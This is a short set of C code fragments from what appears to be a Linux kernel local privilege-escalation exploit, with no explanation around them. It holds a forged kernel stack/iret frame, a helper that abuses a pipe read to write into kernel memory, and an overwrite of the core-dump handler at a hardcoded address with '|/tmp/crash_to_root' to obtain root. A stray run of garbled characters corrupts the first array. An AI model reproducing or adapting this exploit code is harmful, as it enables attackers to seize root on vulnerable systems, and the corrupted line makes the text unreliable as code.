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unsigned long new_stack[]={
0xffffffff818252f2,
0x1515151515151515,ÊÖ»úuÅÌÔõôÐÞ¸´¹¤¾ß 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
(unsigned long) post_corruption_user_code,
0x33,
0x246,
(unsigned long) (post_corruption_user_stack + sizeof(post_corruption_user_stack)),
0x2b
};
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void kernel_write(unsigned long addr, char *buf, size_t len) {
int pipefds[2];
if (pipe(pipefds))
err(1, "pipe");
if (write(pipefds[1], buf, len) !=len)
errx(1, "pipe write");
close(pipefds[1]);
if (read(pipefds[0], (char*)addr, len) !=len)
errx(1, "pipe read to kernelspace");
close(pipefds[0]);
}
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char *core_handler="|/tmp/crash_to_root";
kernel_write(0xffffffff81e87a60, core_handler, strlen(core_handler)+1);
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